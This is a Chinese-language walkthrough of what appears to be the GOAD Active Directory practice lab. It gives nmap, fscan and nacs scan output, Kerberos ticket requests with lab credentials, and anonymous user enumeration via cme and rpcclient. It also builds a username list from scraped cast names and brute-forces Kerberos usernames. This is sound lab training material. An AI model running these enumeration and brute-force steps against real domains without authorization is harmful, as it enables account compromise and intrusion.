python getTGT.py north.sevenkingdoms.local/arya.stark:Needle
export KRB5CCNAME=/your_path/arya.stark.ccache
python smbclient.py -k -no-pass @winterfell.north.sevenkingdoms.local
实际上，我不知道为什么 kerberos 不能在具有完整 FQDN 的 winterfell 上运行，但是只需设置目标为 winterfell 而不是
winterfell.north.sevenkingdoms.local 就可以了
python smbclient.py -k -no-pass @winterfell
## nmap
nmap 会在扫描目标之前执行 ping。 如果目标不响应 ping，它将被忽略。
确保我们不会遗漏 TCP 上任何内容的方法可能是使用以下选项进行扫描：
nmap -Pn -p- -sC -sV -oA full_scan_goad 192.168.56.10-12,22-23
* `Pn` 不ping 直接扫描提供的全部IP
* `p-` 扫描全部65535个端口
* `sC` 执行侦查脚本
* `sV` 遍历版本
* `oA` 以三种形式输出结果 (nmap classic, grep format, xml format)
注：记得将nmap升级到最新版本 不然很多指纹识别不出来
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-09 21:58 CST
Nmap scan report for sevenkingdoms.local (192.168.56.10)
Host is up (0.00039s latency).
Not shown: 65511 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-09 14:02:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2022-11-30T06:26:34
|_Not valid after: 2023-11-30T06:26:34
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2022-11-30T06:26:34
|_Not valid after: 2023-11-30T06:26:34
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2022-11-30T06:26:34
|_Not valid after: 2023-11-30T06:26:34
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2022-11-30T06:26:34
|_Not valid after: 2023-11-30T06:26:34
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: SEVENKINGDOMS
| NetBIOS_Domain_Name: SEVENKINGDOMS
| NetBIOS_Computer_Name: KINGSLANDING
| DNS_Domain_Name: sevenkingdoms.local
| DNS_Computer_Name: kingslanding.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
| Product_Version: 10.0.17763
|_ System_Time: 2022-12-09T14:04:13+00:00
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Not valid before: 2022-11-28T15:30:46
|_Not valid after: 2023-05-30T15:30:46
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-11-28T06:55:33
|_Not valid after: 2025-11-27T06:55:33
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
61837/tcp open msrpc Microsoft Windows RPC
63706/tcp open msrpc Microsoft Windows RPC
Service Info: Host: KINGSLANDING; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: KINGSLANDING, NetBIOS user: <unknown>, NetBIOS MAC: 080027e7bec3 (Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2022-12-09T14:04:13
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Nmap scan report for winterfell.north.sevenkingdoms.local (192.168.56.11)
Host is up (0.00037s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-09 14:02:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2022-11-30T16:12:54
|_Not valid after: 2023-11-30T16:12:54
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2022-11-30T16:12:54
|_Not valid after: 2023-11-30T16:12:54
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2022-11-30T16:12:54
|_Not valid after: 2023-11-30T16:12:54
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2022-11-30T16:12:54
|_Not valid after: 2023-11-30T16:12:54
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Not valid before: 2022-11-28T15:40:56
|_Not valid after: 2023-05-30T15:40:56
| rdp-ntlm-info:
| Target_Name: NORTH
| NetBIOS_Domain_Name: NORTH
| NetBIOS_Computer_Name: WINTERFELL
| DNS_Domain_Name: north.sevenkingdoms.local
| DNS_Computer_Name: winterfell.north.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
| Product_Version: 10.0.17763
|_ System_Time: 2022-12-09T14:04:13+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-11-28T06:58:45
|_Not valid after: 2025-11-27T06:58:45
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
56785/tcp open msrpc Microsoft Windows RPC
Service Info: Host: WINTERFELL; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WINTERFELL, NetBIOS user: <unknown>, NetBIOS MAC: 0800271d9433 (Oracle VirtualBox virtual NIC)
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-12-09T14:04:13
|_ start_date: N/A
Nmap scan report for essos.local (192.168.56.12)
Host is up (0.00029s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-09 14:02:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername:<unsupported>, DNS:meereen.essos.local
| Not valid before: 2022-11-30T00:24:33
|_Not valid after: 2023-11-30T00:24:33
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ESSOS)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername:<unsupported>, DNS:meereen.essos.local
| Not valid before: 2022-11-30T00:24:33
|_Not valid after: 2023-11-30T00:24:33
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername:<unsupported>, DNS:meereen.essos.local
| Not valid before: 2022-11-30T00:24:33
|_Not valid after: 2023-11-30T00:24:33
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername:<unsupported>, DNS:meereen.essos.local
| Not valid before: 2022-11-30T00:24:33
|_Not valid after: 2023-11-30T00:24:33
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=meereen.essos.local
| Not valid before: 2022-11-28T15:30:49
|_Not valid after: 2023-05-30T15:30:49
| rdp-ntlm-info:
| Target_Name: ESSOS
| NetBIOS_Domain_Name: ESSOS
| NetBIOS_Computer_Name: MEEREEN
| DNS_Domain_Name: essos.local
| DNS_Computer_Name: meereen.essos.local
| DNS_Tree_Name: essos.local
| Product_Version: 10.0.14393
|_ System_Time: 2022-12-09T14:04:13+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-11-28T07:02:46
|_Not valid after: 2025-11-27T07:02:46
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
Service Info: Host: MEEREEN; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-12-09T14:04:17
|_ start_date: 2022-12-08T15:28:21
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_clock-skew: mean: 48m00s, deviation: 2h31m48s, median: 0s
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: meereen
| NetBIOS computer name: MEEREEN\x00
| Domain name: essos.local
| Forest name: essos.local
| FQDN: meereen.essos.local
|_ System time: 2022-12-09T06:04:15-08:00
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_nbstat: NetBIOS name: MEEREEN, NetBIOS user: <unknown>, NetBIOS MAC: 080027062aae (Oracle VirtualBox virtual NIC)
Nmap scan report for castelblack.north.sevenkingdoms.local (192.168.56.22)
Host is up (0.00032s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-12-08T15:36:21
|_Not valid after: 2052-12-08T15:36:21
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=castelblack.north.sevenkingdoms.local
| Not valid before: 2022-11-29T02:04:35
|_Not valid after: 2023-05-31T02:04:35
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: NORTH
| NetBIOS_Domain_Name: NORTH
| NetBIOS_Computer_Name: CASTELBLACK
| DNS_Domain_Name: north.sevenkingdoms.local
| DNS_Computer_Name: castelblack.north.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
| Product_Version: 10.0.17763
|_ System_Time: 2022-12-09T14:04:13+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2022-12-09T14:04:57+00:00; 0s from scanner time.
|_http-title: Not Found
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-11-28T07:07:06
|_Not valid after: 2025-11-27T07:07:06
| tls-alpn:
|_ http/1.1
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: CASTELBLACK, NetBIOS user: <unknown>, NetBIOS MAC: 08002742a4cb (Oracle VirtualBox virtual NIC)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-12-09T14:04:17
|_ start_date: N/A
Nmap scan report for braavos.essos.local (192.168.56.23)
Host is up (0.00032s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-12-08T15:36:21
|_Not valid after: 2052-12-08T15:36:21
|_ssl-date: 2022-12-09T14:08:15+00:00; 0s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-12-09T14:08:15+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=braavos.essos.local
| Not valid before: 2022-11-28T15:47:56
|_Not valid after: 2023-05-30T15:47:56
| rdp-ntlm-info:
| Target_Name: ESSOS
| NetBIOS_Domain_Name: ESSOS
| NetBIOS_Computer_Name: BRAAVOS
| DNS_Domain_Name: essos.local
| DNS_Computer_Name: braavos.essos.local
| DNS_Tree_Name: essos.local
| Product_Version: 10.0.14393
|_ System_Time: 2022-12-09T14:07:36+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2022-12-09T14:08:15+00:00; 0s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
| h2
|_ http/1.1
|_http-title: Not Found
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-11-28T07:11:51
|_Not valid after: 2025-11-27T07:11:51
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: braavos
| NetBIOS computer name: BRAAVOS\x00
| Domain name: essos.local
| Forest name: essos.local
| FQDN: braavos.essos.local
|_ System time: 2022-12-09T06:07:35-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h08m34s, deviation: 3h01m25s, median: 0s
| smb2-time:
| date: 2022-12-09T14:07:35
|_ start_date: 2022-12-08T15:35:06
|_nbstat: NetBIOS name: BRAAVOS, NetBIOS user: <unknown>, NetBIOS MAC: 0800276f3f23 (Oracle VirtualBox virtual NIC)
Post-scan script results:
| clock-skew:
| 0s:
| 192.168.56.11 (winterfell.north.sevenkingdoms.local)
| 192.168.56.22 (castelblack.north.sevenkingdoms.local)
| 192.168.56.10 (sevenkingdoms.local)
| 192.168.56.12 (essos.local)
|_ 192.168.56.23 (braavos.essos.local)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scanned in 564.73 seconds
## fscan和nacs
最后也用咱们熟悉的fscan和nacs看看能扫出哪些信息
<https://github.com/u21h2/nacs>
sudo ./fscan -h 192.168.56.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
192.168.56.10:80 open
192.168.56.22:80 open
192.168.56.23:80 open
192.168.56.50:22 open
192.168.56.10:135 open
192.168.56.12:135 open
192.168.56.11:135 open
192.168.56.23:135 open
192.168.56.22:135 open
192.168.56.11:139 open
192.168.56.10:139 open
192.168.56.12:139 open
192.168.56.10:445 open
192.168.56.11:445 open
192.168.56.12:445 open
192.168.56.22:445 open
192.168.56.23:445 open
192.168.56.50:9200 open
192.168.56.10:88 open
192.168.56.11:88 open
192.168.56.12:88 open
[*] alive ports len is: 33
start vulscan
[*] NetInfo:
[*]192.168.56.10
[->]kingslanding
[->]10.0.2.15
[->]192.168.56.10
[*] NetInfo:
[*]192.168.56.11
[->]winterfell
[->]10.0.2.15
[->]192.168.56.11
[*] NetInfo:
[*]192.168.56.22
[->]castelblack
[->]10.0.2.15
[->]192.168.56.22
[*] NetInfo:
[*]192.168.56.23
[->]braavos
[->]10.0.2.15
[->]192.168.56.23
[*] 192.168.56.12 (Windows Server 2016 Standard Evaluation 14393)
[*] NetInfo:
[*]192.168.56.12
[->]meereen
[->]192.168.56.12
[->]10.0.2.15
[*] WebTitle: http://192.168.56.50:9200 code:200 len:537 title:None
[*] WebTitle: http://192.168.56.23 code:200 len:703 title:IIS Windows Server
[*] WebTitle: http://192.168.56.10 code:200 len:703 title:IIS Windows Server
[+] http://192.168.56.23 poc-yaml-active-directory-certsrv-detect
[+] http://192.168.56.10 poc-yaml-active-directory-certsrv-detect
[*] WebTitle: http://192.168.56.22 code:200 len:149 title:None
sudo ./nacs_linux_amd64/nacs -h 192.168.56.0/24
_ _ ___ ___ ___
| \| | / \ / __| / __|
| . | | - | | (__ \__ \
|_|\_| |_|_| \___| |___/
Version: 0.0.3
[16:51:40] [INFO] Start to probe alive machines
[16:51:40] [*] Target 192.168.56.10 is alive
[16:51:40] [*] Target 192.168.56.12 is alive
[16:51:40] [*] Target 192.168.56.11 is alive
[16:51:40] [*] Target 192.168.56.50 is alive
[16:51:43] [INFO] There are total of 256 hosts, and 5 are surviving
[16:51:43] [WARNING] Too few surviving hosts
[16:51:43] [INFO] Start to discover the ports
[16:51:43] [*] [TCP/SSH] ssh://192.168.56.50:22 [SSH-2.0-OpenSSH_7.6p1\x20Ubuntu-4ubuntu0.5]
[16:51:45] [*] [TCP/LDAP] ldap://192.168.56.12:389 [0\x84\x00\x00\x00\x10\x02\x01\x01a\x84\x00\x00\x00\x07\x0a]
[16:51:45] [-] [TCP/unknown] 192.168.56.10:139 [\x83\x00\x00\x01\x8f]
[16:51:45] [*] [TCP/LDAP] ldap://192.168.56.10:389 [0\x84\x00\x00\x00\x10\x02\x01\x01a\x84\x00\x00\x00\x07\x0a]
[16:51:45] [-] [TCP/unknown] 192.168.56.12:139 [\x83\x00\x00\x01\x8f]
[16:51:45] [*] [TCP/LDAP] ldap://192.168.56.11:389 [0\x84\x00\x00\x00\x10\x02\x01\x01a\x84\x00\x00\x00\x07\x0a]
[16:51:45] [-] [TCP/unknown] 192.168.56.11:139 [\x83\x00\x00\x01\x8f]
[16:51:46] [*] [TCP/HTTP] [200] [ASP] [IIS] http://192.168.56.10:80 [IIS Windows Server]
[16:51:46] [*] [TCP/HTTP] [200] [Elasticsearch] http://192.168.56.50:9200 [None]
[16:51:46] [*] [TLS/RDP] rdp://192.168.56.11:3389 [Windows 10/Windows 11/Windows Server 2019]
[16:51:46] [*] [TLS/RDP] rdp://192.168.56.10:3389 [Windows 10/Windows 11/Windows Server 2019]
[16:51:48] [-] [TCP/unknown] 192.168.56.12:88 []
[16:51:48] [*] [TCP/SMB] smb://192.168.56.12:445 [Version:10.0.14393||DNSComputer:meereen.essos.local||TargetName:ESSOS||NetbiosComputer:MEEREEN]
[16:51:48] [-] [TCP/unknown] 192.168.56.10:88 []
[16:51:48] [*] [TCP/SMB] smb://192.168.56.10:445 [Version:10.0.17763||DNSComputer:kingslanding.sevenkingdoms.local||TargetName:SEVENKINGDOMS||NetbiosComputer:KINGSLANDING]
[16:51:48] [-] [TCP/unknown] 192.168.56.11:88 []
[16:51:48] [*] [TCP/SMB] smb://192.168.56.11:445 [Version:10.0.17763||DNSComputer:winterfell.north.sevenkingdoms.local||TargetName:NORTH||NetbiosComputer:WINTERFELL]
[16:51:49] [*] [TLS/RDP] rdp://192.168.56.12:3389 [Windows 10/Windows 11/Windows Server 2019]
[16:51:49] [-] [TCP/unknown] 192.168.56.50:9300 [This\x20is\x20not\x20an\x20HTTP\x20port]
[16:51:49] [*] [UDP/NBNS] [Domain Controllers] nbns://192.168.56.10:137 [SEVENKINGDOMS\KINGSLANDING]
[16:51:49] [*] [UDP/NBNS] [Domain Controllers] nbns://192.168.56.11:137 [NORTH\WINTERFELL]
[16:51:49] [*] [UDP/NBNS] [Domain Controllers] nbns://192.168.56.12:137 [ESSOS\MEEREEN]
[16:52:11] [*] [TCP/DceRpc] dcerpc://192.168.56.10:135 [kingslanding||10.0.2.15||192.168.56.10]
[16:52:11] [*] [TCP/DceRpc] dcerpc://192.168.56.12:135 [meereen||192.168.56.12||10.0.2.15]
[16:52:11] [*] [TCP/DceRpc] dcerpc://192.168.56.11:135 [winterfell||10.0.2.15||192.168.56.11]
[16:52:20] [-] [TCP/unknown] 192.168.56.10:53 []
[16:52:20] [-] [TCP/unknown] 192.168.56.12:53 []
[16:52:20] [-] [TCP/unknown] 192.168.56.11:53 []
[16:52:20] [INFO] A total of 38 targets, the rule base hits 28 targets
# 0x02 寻找用户信息
已经在上一部分中进行了基本的侦查，接下来尝试枚举用户信息和获取凭证信息。
## 匿名枚举DC
### 使用cme
cme smb 192.168.56.11 --users
获得了一些用户信息 比较关键的是samwell.tarly的密码Heartsbane写在了备注信息里
还可以在爆破之前来检查密码策略
cme smb 192.168.56.11 --pass-pol
如果在五分钟内密码错误五次，该账户就会被锁定五分钟
### 使用enum4linux
kali自带该工具
一些常规信息
用户信息
密码策略
域信息：enum4linux 也通过枚举域组成员得到完整的域用户列表
### 使用rpc call
anonymous listing在 winterfell (192.168.56.11) 上是使用 Remote Procedure Call
完成的，因此我们也可以直接使用 rpcclient 来完成。
rpcclient -U "NORTH\\" 192.168.56.11 -N
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[arya.stark] rid:[0x455]
user:[sansa.stark] rid:[0x459]
user:[brandon.stark] rid:[0x45a]
user:[rickon.stark] rid:[0x45b]
user:[hodor] rid:[0x45c]
user:[jon.snow] rid:[0x45d]
user:[samwell.tarly] rid:[0x45e]
user:[jeor.mormont] rid:[0x45f]
user:[sql_svc] rid:[0x460]
rpcclient $> enumdomgroups
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[DnsUpdateProxy] rid:[0x44f]
group:[Stark] rid:[0x451]
group:[Night Watch] rid:[0x452]
group:[Mormont] rid:[0x453]
获取所有域用户：
net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.56.11' -U '%'
## (爆破)匿名枚举 DC - 当不允许匿名会话时
Winterfell 域控制器允许匿名连接，这就是我们可以列出域用户和组的原因。 但现在这种配置几乎不会发生。 （用户描述中的密码经常发生）。
可以尝试爆破用户
首先构造用户名列表 (居然是使用权游的
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > got_users.txt
然后使用nmap爆破
### sevenkingdoms.local
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.56.10
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-03 11:11 CST
Nmap scan report for sevenkingdoms.local (192.168.56.10)
Host is up (0.00039s latency).
PORT STATE SERVICE
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
|_ [email protected]
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
如上 在`sevenkingdoms.local`(192.168.56.10)找到了一些有效的用户
### essos.local
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.56.12 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-03 11:14 CST
Nmap scan report for essos.local (192.168.56.12)
Host is up (0.00051s latency).
PORT STATE SERVICE
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
| [email protected]
| [email protected]
| [email protected]
| [email protected]
